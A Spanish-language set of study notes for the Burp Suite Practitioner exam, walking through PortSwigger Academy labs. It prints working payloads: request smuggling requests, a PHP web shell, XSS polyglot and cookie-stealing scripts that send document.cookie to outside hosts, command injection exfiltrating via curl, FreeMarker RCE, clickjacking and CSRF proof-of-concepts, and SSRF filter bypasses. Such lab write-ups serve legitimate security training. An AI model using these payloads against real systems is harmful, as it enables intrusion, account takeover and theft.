# Preparación Burp Suite Practitioner ````html - un lab de cada categoría disponible -hay 23 categorías- y tiene que ser mínimo de nivel Practitioner ✔️ sql-injection ✔️ cross-site-scripting 2 cross-site-request-forgery-csrf ✔️ clickjacking 4 dom-based-vulnerabilities 5 cross-origin-resource-sharing-cors 6 xml-external-entity-xxe-injection 7 server-side-request-forgery-ssrf 8 http-request-smuggling ✔️ os-command-injection ✔️ server-side-template-injection ✔️ directory-traversal 12 access-control-vulnerabilities 13 authentication 14 websockets 15 web-cache-poisoning 16 insecure-deserialization 17 information-disclosure 18 business-logic-vulnerabilities ✔️ http-host-header-attacks 20 oauth-authentication ✔️ file-upload-vulnerabilities 22 jwt ✔️ Reflected XSS (https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped) ✔️ DOM XSS a través de Clickjacking (https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss) - 7 labs propuestos por PortSwigger que ayudan de cara al examen (tratan temas de codificación, ataques a usuarios) ✔️ Exploiting cross-site scripting to steal cookies (https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies) • Blind SQL injection with out-of-band data exfiltration (https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration) ✔️ Forced OAuth profile linking (https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking) ✔️ Brute-forcing a stay-logged-in cookie (https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie) • Exploiting HTTP request smuggling to capture other users' requests (https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests) ✔️ SSRF with blacklist-based input filter (https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter) • SQL injection with filter bypass via XML encoding (https://portswigger.net/web-security/sql-injection/lab-sql-injection-with-filter-bypass-via-xml-encoding) - 5 labs seleccionados aleatoriamente de nivel Practitioner sin ningún contexto • en caso de necesitar creds son: wiener:peter • o estas wordlists para Burp Intruder https://portswigger.net/web-security/authentication/auth-lab-usernames / https://portswigger.net/web-security/authentication/auth-lab-passwords - examen de práctica de 1h30m de duración con una webapp, para acostumbrarse al formato del examen real, si no consigues aprobar, volver al paso 1 - examen real ```` <b>http-request-smuggling (https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te)</b> Utilizando el active scan de burpsuite saca un http request smuggling: ````console POST /?m1NQ=234327846 HTTP/1.1 Host: 0aad00ae04c95df8c0b93e00004a0052.web-security-academy.net Cookie: session=NmzWK8nH8H55Pd4035aNc91K2BFKLQp3 Cache-Control: max-age=0 Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v="106" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.91 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0aad00ae04c95df8c0b93e00004a0052.web-security-academy.net/post?postId=3 Accept-Encoding: gzip, deflate Accept-Language: es-ES,es;q=0.9 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Content-Length: 91 f jxnzj=x&sydjm=x 0 GET /phaxcxk61o2asyooi9ebrrs8ozusii6baz0mqaf HTTP/1.1 X-Ignore: X ```` El positivo que da muestra 3 peticiones y 3 respuestas, se ve que al hacer la misma petición 2 veces saca diferentes respuestas. Para completar el lab se tiene que hacer una petición GPOST al servidor, asi que simplemente hay que hacer lo siguiente: ````console POST /?m1NQ=234327846 HTTP/1.1 Host: 0aad00ae04c95df8c0b93e00004a0052.web-security-academy.net Cookie: session=NmzWK8nH8H55Pd4035aNc91K2BFKLQp3 Cache-Control: max-age=0 Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v="106" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.91 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://0aad00ae04c95df8c0b93e00004a0052.web-security-academy.net/post?postId=3 Accept-Encoding: gzip, deflate Accept-Language: es-ES,es;q=0.9 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Content-Length: 91 f jxnzj=x&sydjm=x 0 GPOST /phaxcxk61o2asyooi9ebrrs8ozusii6baz0mqaf HTTP/1.1 X-Ignore: X ```` Asi que al enviar una vez esta petición, cuando se abra desde el navegador saldrá lo siguiente: ![](https://i.imgur.com/0CCMTgI.png) <b>SQL injection UNION attack, finding a column containing text (https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text)</b> no me apetece redactar esta tontería xd ya lo haré <b>Web shell upload via extension blacklist bypass (https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass)</b> Simplemente se puede utilizar la extensión de burpsuite Upload Scanner. Al hacer X número de tests sale la siguiente alerta ![](https://i.imgur.com/pczlIc7.png) A través del siguiente código en php utilizando la extensión phtml se puede ejecutar código: ````php <?php $output = shell_exec('cat /home/carlos/secret'); echo "<pre>$output</pre>"; ?> ```` Con esto, se sube la flag y ya está completado el lab <b>Reflected XSS into a JavaScript string with single quote and backslash escaped (https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped)</b> En este lab se está escapando la sigle quoute <b>'</b>. Por cada comilla que se pone se está escapando con una backslash \. Aunque bloquee eso las comillas, los simbolos <> no están bloqueados por lo que se puede en primer lugar cerrar el script: ![](https://i.imgur.com/5NJXMP2.png) Cerrando un la primera etiqueta de script, abriendo una nueva etiqueta para inyectar el XSS y luego abriendo una nueva etiqueta de script (para hacer una sintaxis correcta aunque no es necesário). Para sacar el XSS a lo facil se puede utilizar el siguiente XSS Polyglot: ````html JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76--> ```` <b>Blind OS command injection with output redirection(https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)</b> El lab dice que el endpoint vulnerable a command injection es /feedback Para hacer el fuzzing de los campos vulnerables se puede utilizar el siguiente payload, el cual prueba a hacer un ping además del comando que se esté ejecutando, por ejemplo: ````bash whoami whoami & ping xxxxx.google.com & ```` ![](https://i.imgur.com/WmK6Yz2.png) ![](https://i.imgur.com/TbsqgDl.png) En el burp collaborator se puede ver la interacción dns, ahora lo mas sencillo es ejecutar un comando del estilo: ````bash curl https://$(whoami).2uxigtqijkeubsaznj5tnyh5swynmka9.oastify.com ```` De esta forma la interacción que se haga será: ````bash curl https://root.google.com ```` ![](https://i.imgur.com/FJf8OI4.png) ![](https://i.imgur.com/ppTUL3N.png) Para resolver el lab se ve que se tiene que hacer el load de una imagen en la web (aunque ya se ha obtenido el contenido del whoami). Lo primero es obtener el contenido del directorio que da el lab: /var/www/images/ Ya que hay varias lineas, se puede encodear todo en bass64 y decodear en la máquina local: ![](https://i.imgur.com/ZlufeYX.png) ![](https://i.imgur.com/UadS0uW.png) Ahora que sabemos que imagen está en ese directorio se puede hacer reemplazar el contenido de esa imagen por el contenido de un archivo que creemos: ![](https://i.imgur.com/ORl1H5E.png) ![](https://i.imgur.com/up9lfO8.png) Ahora, en la web esa imagen saldrá: ![](https://i.imgur.com/6d8ISdH.png) Si se hace un curl saldrá la información del whoami ![](https://i.imgur.com/UNZdJwu.png) Ahora si, lab solved. <b>DOM XSS a través de Clickjacking (https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss) </b> El primer paso es obtener un DOM XSS. En el enlace que lleva a enviar un formulario de feedback se puede obtener un DOM XSS: ![](https://i.imgur.com/J43EaGO.png) ![](https://i.imgur.com/1JLgiV8.png) Este es un XSS muy simple, pero por el momento es self. A través de un clickjacking se puede hacer que deje de ser self. Pero... como se hace para configurar los valores en el formulario? pues muy simple, se tiene que buscar los nombres de cada field: ![](https://i.imgur.com/dfde0Gc.png) Se puede pasar al enlace parámetros (como si fueran de php) pero que hagan referéncia a los nombres de los input. Por ejemplo: ![](https://i.imgur.com/SItE5Hs.png) Sabiendo esto, ya simplemente: ![](https://i.imgur.com/86G0TNj.png) Ahora falta hacer el clickjacking. Para hacer un PoC de la forma mas simple se puede utilizar la herramienta de <b>clickbandit</b>. La cual simplemente se tiene que copiar el código que te da en la consola y hacer click en "submit feedback": ![](https://i.imgur.com/8Wlv7CI.png) En el PoC de clickjacking se hace referéncia al enlace con los parámetros por lo que simplemente la víctima tiene que darle al botón y ya funcionará: ![](https://i.imgur.com/gTjNajw.png) En este punto simplemente hay que enviar el PoC en el exploit server y ya estará solucionado el lab. Código utilizado para completar el lab: ````html <div id="container" style="clip-path:none;clip:auto;overflow:visible;position:absolute;left:0;top:0;width:100%;height:100%"> <!-- Clickjacking PoC Generated by Burp Suite Professional --> <input id="clickjack_focus" style="opacity:0;position:absolute;left:-5000px;"> <div id="clickjack_button" style="opacity: 1; transform-style: preserve-3d; text-align: center; font-family: Arial; font-size: 100%; width: 160px; height: 32px; z-index: 0; background-color: red; color: rgb(255, 255, 255); position: absolute; left: 200px; top: 200px;"><div style="position:relative;top: 50%;transform: translateY(-50%);">Click</div></div> <!-- Show this element when clickjacking is complete --> <div id="clickjack_complete" style="display: none; transform-style: preserve-3d; font-family: Arial; font-size: 16pt; color: red; text-align: center; width: 100%; height: 100%;"><div style="position:relative;top: 50%;transform: translateY(-50%);">You've been clickjacked!</div></div> <iframe id="parentFrame" src="data:text/html;base64,PHNjcmlwdD53aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsIGZ1bmN0aW9uKGUpeyB2YXIgZGF0YSwgY2hpbGRGcmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjaGlsZEZyYW1lIik7IHRyeSB7IGRhdGEgPSBKU09OLnBhcnNlKGUuZGF0YSk7IH0gY2F0Y2goZSl7IGRhdGEgPSB7fTsgfSBpZighZGF0YS5jbGlja2JhbmRpdCl7IHJldHVybiBmYWxzZTsgfSBjaGlsZEZyYW1lLnN0eWxlLndpZHRoID0gZGF0YS5kb2NXaWR0aCsicHgiO2NoaWxkRnJhbWUuc3R5bGUuaGVpZ2h0ID0gZGF0YS5kb2NIZWlnaHQrInB4IjtjaGlsZEZyYW1lLnN0eWxlLmxlZnQgPSBkYXRhLmxlZnQrInB4IjtjaGlsZEZyYW1lLnN0eWxlLnRvcCA9IGRhdGEudG9wKyJweCI7fSwgZmFsc2UpOzwvc2NyaXB0PjxpZnJhbWUgc3JjPSJodHRwczovLzBhYzgwMGRmMDQ4ODM1NWJjMDVmZDM0YzAwNTUwMGU5LndlYi1zZWN1cml0eS1hY2FkZW15Lm5ldC9mZWVkYmFjaz9uYW1lPSYjMzc7MjImIzM3OzNFJiMzNzszQ2ltZyYjMzc7MjBzcmM9WCYjMzc7MjBvbmVycm9yPXByaW50JiM0MDsmIzQxOyYjMzc7M0UmIzM4O2VtYWlsPWFhYSYjNjQ7YWFhLmNvbSYjMzg7c3ViamVjdD1hYWEmIzY0O2FhYS5jb20mIzM4O21lc3NhZ2U9YWFhJiM2NDthYWEuY29tZzNzaTRqcHlsb2NhdGlvbiIgc2Nyb2xsaW5nPSJubyIgc3R5bGU9IndpZHRoOjE5MDNweDtoZWlnaHQ6OTg0cHg7cG9zaXRpb246YWJzb2x1dGU7bGVmdDotMTgycHg7dG9wOi02ODVweDtib3JkZXI6MDsiIGZyYW1lYm9yZGVyPSIwIiBpZD0iY2hpbGRGcmFtZSIgb25sb2FkPSJwYXJlbnQucG9zdE1lc3NhZ2UoSlNPTi5zdHJpbmdpZnkoe2NsaWNrYmFuZGl0OjF9KSwnKicpIj48L2lmcmFtZT4=" frameborder="0" scrolling="no" style="-ms-transform: scale(1.0);-ms-transform-origin: 200px 200px;transform: scale(1.0);-moz-transform: scale(1.0);-moz-transform-origin: 200px 200px;-o-transform: scale(1.0);-o-transform-origin: 200px 200px;-webkit-transform: scale(1.0);-webkit-transform-origin: 200px 200px;opacity:0.5;border:0;position:absolute;z-index:1;width:1903px;height:984px;left:0px;top:0px"></iframe> </div> <script>function findPos(obj) { var left = 0, top = 0; if(obj.offsetParent) { while(1) { left += obj.offsetLeft; top += obj.offsetTop; if(!obj.offsetParent) { break; } obj = obj.offsetParent; } } else if(obj.x && obj.y) { left += obj.x; top += obj.y; } return [left,top]; }function generateClickArea(pos) { var elementWidth, elementHeight, x, y, parentFrame = document.getElementById('parentFrame'), desiredX = 200, desiredY = 200, parentOffsetWidth, parentOffsetHeight, docWidth, docHeight, btn = document.getElementById('clickjack_button'); if(pos < window.clickbandit.config.clickTracking.length) { clickjackCompleted(false); elementWidth = window.clickbandit.config.clickTracking[pos].width; elementHeight = window.clickbandit.config.clickTracking[pos].height; btn.style.width = elementWidth + 'px'; btn.style.height = elementHeight + 'px'; window.clickbandit.elementWidth = elementWidth; window.clickbandit.elementHeight = elementHeight; x = window.clickbandit.config.clickTracking[pos].left; y = window.clickbandit.config.clickTracking[pos].top; docWidth = window.clickbandit.config.clickTracking[pos].documentWidth; docHeight = window.clickbandit.config.clickTracking[pos].documentHeight; parentOffsetWidth = desiredX - x; parentOffsetHeight = desiredY - y; parentFrame.style.width = docWidth+'px'; parentFrame.style.height = docHeight+'px'; parentFrame.contentWindow.postMessage(JSON.stringify({clickbandit: 1, docWidth: docWidth, docHeight: docHeight, left: parentOffsetWidth, top: parentOffsetHeight}),'*'); calculateButtonSize(getFactor(parentFrame)); showButton(); if(parentFrame.style.opacity === '0') { calculateClip(); } } else { resetClip(); hideButton(); clickjackCompleted(true); } }function hideButton() { var btn = document.getElementById('clickjack_button'); btn.style.opacity = 0; }function showButton() { var btn = document.getElementById('clickjack_button'); btn.style.opacity = 1; }function clickjackCompleted(show) { var complete = document.getElementById('clickjack_complete'); if(show) { complete.style.display = 'block'; } else { complete.style.display = 'none'; } }window.addEventListener("message", function handleMessages(e){ var data; try { data = JSON.parse(e.data); } catch(e){ data = {}; } if(!data.clickbandit) { return false; } showButton(); },false);window.addEventListener("blur", function(){ if(window.clickbandit.mouseover) { hideButton();setTimeout(function(){ generateClickArea(++window.clickbandit.config.currentPosition);document.getElementById("clickjack_focus").focus();},1000); } }, false);document.getElementById("parentFrame").addEventListener("mouseover",function(){ window.clickbandit.mouseover = true; }, false);document.getElementById("parentFrame").addEventListener("mouseout",function(){ window.clickbandit.mouseover = false; }, false);</script><script>window.clickbandit={mode: "review", mouseover:false,elementWidth:160,elementHeight:32,config:{"clickTracking":[{"width":160,"height":32,"mouseX":451,"mouseY":902,"left":382,"top":885,"documentWidth":1903,"documentHeight":984}],"currentPosition":0}};function calculateClip() { var btn = document.getElementById('clickjack_button'), w = btn.offsetWidth, h = btn.offsetHeight, container = document.getElementById('container'), x = btn.offsetLeft, y = btn.offsetTop; container.style.overflow = 'hidden'; container.style.clip = 'rect('+y+'px, '+(x+w)+'px, '+(y+h)+'px, '+x+'px)'; container.style.clipPath = 'inset('+y+'px '+(x+w)+'px '+(y+h)+'px '+x+'px)'; }function calculateButtonSize(factor) { var btn = document.getElementById('clickjack_button'), resizedWidth = Math.round(window.clickbandit.elementWidth * factor), resizedHeight = Math.round(window.clickbandit.elementHeight * factor); btn.style.width = resizedWidth + 'px'; btn.style.height = resizedHeight + 'px'; if(factor > 100) { btn.style.fontSize = '400%'; } else { btn.style.fontSize = (factor * 100) + '%'; } }function resetClip() { var container = document.getElementById('container'); container.style.overflow = 'visible'; container.style.clip = 'auto'; container.style.clipPath = 'none'; }function getFactor(obj) { if(typeof obj.style.transform === 'string') { return obj.style.transform.replace(/[^\d.]/g,''); } if(typeof obj.style.msTransform === 'string') { return obj.style.msTransform.replace(/[^\d.]/g,''); } if(typeof obj.style.MozTransform === 'string') { return obj.style.MozTransform.replace(/[^\d.]/g,''); } if(typeof obj.style.oTransform === 'string') { return obj.style.oTransform.replace(/[^\d.]/g,''); } if(typeof obj.style.webkitTransform === 'string') { return obj.style.webkitTransform.replace(/[^\d.]/g,''); } return 1; }</script> ```` <b>Server-side template injection using documentation(https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation) </b> Detección de SSTI: Lo único que se tiene que hacer es ir probando payloads en lugares donde podamos inyectar strings, por ejemplo: ![](https://i.imgur.com/Y2uDC5U.png) Al ir probando payloads de distintos engines (ya que wappalyzer no sacaba ninguna info de las template engines) hubo uno que saltó (todos los payloads de FreeMarker funcionan): ![](https://i.imgur.com/9hfAGb7.png) Ahora es muy senzillo obtener RCE: ![](https://i.imgur.com/SYrZkUZ.png) ````console ${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")} ```` https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker---code-execution Ahora para completar el lab simplemente hay que eliminar el archivo /home/carlos/morale.txt ![](https://i.imgur.com/uPtgBn5.png) <b>File path traversal, traversal sequences blocked with absolute path bypass(https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)</b> Al cargar la página principal, se puede ver las siguientes peticiones: ![](https://i.imgur.com/fV1U5OF.png) Por lo visto la app esta cargando las imágenes de una ruta del servidor: ![](https://i.imgur.com/SANymzD.png) Poniendo un archivo con la ruta absoluta se obtiene la información del archivo <b>Routing-based SSRF(https://portswigger.net/web-security/host-header/exploiting/lab-host-header-routing-based-ssrf)</b> En este caso el laboratorio es vulnerable a SSRF a través de la cabecera HOST. ![](https://i.imgur.com/MvQdLSw.png) ![](https://i.imgur.com/afqczfS.png) Sabiendo esto, ahora se puede intentar acceder a una IP interna del servidor. Se puede probar con el rango de 192.168.0.0/24: ![](https://i.imgur.com/ieqy8dS.png) Es importante desmarcar la opción de "Update Host header to match target" ya que si está marcada hará la petición con el dominio de la web en lugar de las IPs internas. Config del intruder: ![](https://i.imgur.com/6N9WT1g.png) Resultados de la fuerza bruta: ![](https://i.imgur.com/SQn7x8Y.png) Ahora, si se intenta acceder al directorio /admin sale 200 OK (si se intenta acceder con el dominio en la cabecera Host sale 404 not found). Con esto tenemos ya SSRF, el objetivo del lab es eliminar al usuario carlos, por lo que simplemente hay que abrir la petición en el navegador, introducir carlos en username y interceptar con burp: ![](https://i.imgur.com/ZunLTCr.png) ![](https://i.imgur.com/DUT7nce.png) <b>Information disclosure in version control history(https://portswigger.net/web-security/nformation-disclosure/exploiting/lab-infoleak-in-version-control-history) </b> LEER ESTE POST, ME AYUDÓ MUCHO LA VD (https://medium.com/swlh/hacking-git-directories-e0e60fa79a36) Probé random el directorio <b>.git</b> y funcionó xD hay contenido. Para descargar todos los archivos de forma recursiva: ````bash wget -r https://0ae9006b030392f8c00862b8001b0074.web-security-academy.net/.git ```` Ahora, por mas que se busquen credenciales no va a funcionar. Lo que se tiene que ver es en los commits anteriores. Lo primero es ver lo siguiente: ![](https://i.imgur.com/cSv9A5A.png) Ahora: ![](https://i.imgur.com/6kbVi0m.png) ![](https://i.imgur.com/taxE1bh.png) No funciona ya que en un commit se ha eliminado. Ahora toca buscar en otros commits: ![](https://i.imgur.com/2mGTqJb.png) Ahora, utilizando: administrator:ewn5ce4cvuc7w1pg34j7 ![](https://i.imgur.com/879V8DZ.png) ![](https://i.imgur.com/KqCmXJC.png) --- <b>Exploiting cross-site scripting to steal cookies (https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)</b> Lo primero es detectar el campo vulnerable a Cross-Site Scripting. ![](https://i.imgur.com/Tv4ccx4.png) En este caso vamos a explotar un Stored XSS. Ya que no está filtrando ningún caracter se puede utilizar un payload sin bypass de filtros para exfiltrar cookies (y de esta forma lograr un account takeover). <b>HTTPONLY</b>: Esta cookie ayuda a "ocultar" la cookie de sesión de las ejecuciones javascript. De esta forma será mas complicado ejecutar un robo de cookies. ````html <script> fetch('https://domain.com', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> ```` El método anterior es útil cuando no se está bloqueando la palabra fetch, en caso que algún filtro haga ese bloqueo se puede utilizar: ````html <script> var i=new Image; i.src="http://domain.com/?"+document.cookie; </script> ```` Si no fuese posible utilizar la etiqueta <b>\<script></b> se puede utilizar <b>\<img</b>: ````html <img src=x onerror=this.src='http://192.168.0.18:8888/?'+document.cookie; > ```` Cuando se introduce uno de los payloads anteriores en un campo vulnerable a XSS, si un usuario visita el endpoint donde se encuentra nuestro payload las cookies se exfiltrarán al dominio malicioso que hayamos configurado: ![](https://i.imgur.com/C15Xmcx.png) <b>Forced OAuth profile linking (https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)</b> Hay 2 paneles de login, uno normal y el otro para "social media". Al hacer hacer el enlace de la cuenta normal a la de la red social se hace una petición con un código de activación (a través de Oauth). ![](https://i.imgur.com/oZGgHem.png) A través de ese enlace se hace la sincronización entre las 2 cuentas. Se puede ver que no hay ningún token de seguridad por lo que se puede explotar a través de la vulnerabilidad de CSRF. <b>IMPORTANTE</b>: Se debe generar el payload CSRF pero no enviarlo ya que si se utiliza en una cuenta el enlace será invalido para otro uso. ````html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0a000035049bbd51c09d60ff00a1006e.web-security-academy.net/oauth-linking"> <input type="hidden" name="code" value="DP0qoFeYGTBpr4Vg2AzR2ZdSdU2aKKISPsXWQ5XP&#45;hv" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> ```` La petición se puede subir al "exploit server" y el usuario administrador hará ese enlace, por lo que al hacer el login de la red social. ![](https://i.imgur.com/dODgSi1.png) <b>Brute-forcing a stay-logged-in cookie (https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)</b> Al loggearse con las credenenciales que nos dan (habiendo seleccionado la opción de stay logged in) se genera una nueva cookie de sesión. Esta está encodeda en base64 ![](https://i.imgur.com/YlkmShz.png) wiener:md5hash Esto se puede automatizar utilizando bash, lo primero es generar los hashes md5 (IMPORTANTE: se tiene que ejecutar "echo -n", sino todas las terminaciones serán las mismas y no va a funcionar ya que al parecer se aplica un salto de linea) ````bash for encode in $(for user in $(for i in $(cat pass.txt); do echo -n "$i" | md5sum && echo -e "\n"; done | awk '{print $1}'); do echo -n "carlos:$user"; echo "\n"; done); do echo -n $encode | base64; echo -e "\n"; done ```` ![](https://i.imgur.com/4M8F6w5.png) aunque se pueden eliminar las líneas con sublime text no voy a perder tiempo, se tiene que seleccionar la cookie de sesión en el intruder: ![](https://i.imgur.com/94NpTiF.png) Ahora se tienen que añadir todas las cookies generadas: ![](https://i.imgur.com/4pDotRX.png) Y por último, se tiene que configurar el intruder para que haga un open redirect ya que sino únicamente mostrará peticiones 302. Ya que el usuario objetivo es carlos se puede hacer un "grep" en burp para que si saca la string en la respuesta lo marque en los resultados: ![](https://i.imgur.com/tXqSKe9.png) Ahora si se inicia el intruder se puede ver que efectivamente muestra el resultado: ![](https://i.imgur.com/xbTm57K.png) <b>Exploiting HTTP request smuggling to capture other users' requests (https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)</b> ya lo haré <b>SSRF with blacklist-based input filter (https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter)</b> El parámetro vulnerable está las peticiones para hacer el "check stock": ![](https://i.imgur.com/LAjYwzC.png) Al interceptar con burpsuite se intercepta lo siguiente: ![](https://i.imgur.com/iUQuWsI.png) Ya que los labs tienen un firewall solamente se pueden hacer callbacks a dominios controlados por portswigger: ![](https://i.imgur.com/2SJUjSS.png) La petición funciona. Como dice el lab el objetivo es llegar a: pero si se pone esto literalmente en la petición se bloquea por las reglas establecidas ![](https://i.imgur.com/TJS2GX2.png) Localhost lo bloquea. Para ver alternativas a localhost (o 127.0.0.1) se puede ver en la web: https://h.43z.one/ipconverter/ ![](https://i.imgur.com/5cR4mFI.png) ````console http://127.0.0.1 http://127.0.1 http://127.1 http://2130706433 http://0x7f.0x0.0x0.0x1 http://0x7f000001 http://0x7f.0x000001 http://0x7f.0x0.00x0001 http://0177.00.00.01 http://00177.000.00000000.0000000001 http://017700000001 http://%31%32%37%2e%30%2e%30%2e%31 http://127.0x0.00000000.0x1 http://①②⑦.⓪.⓪.① ```` Por cada una de las formas de poner localhost fui probando: http://{variante-localhost}/ADMIn (lo pongo con las mayúsculas por si algún filtro también bloquea la string de "admin") Me ha funcionado el bypass de: 127.1: ![](https://i.imgur.com/dAxrT96.png) Con esto ya se tiene acceso al panel de administrador. Pero el lab no termina aqui, por que si se accede desde el navegador al intentar eliminar el usuario de carlos salta el siguiente error: ![](https://i.imgur.com/akj94IV.png) Simplemente se tiene que enviar la petición a través de burpsuite y el lab estará completado: ![](https://i.imgur.com/CeXrNrn.png)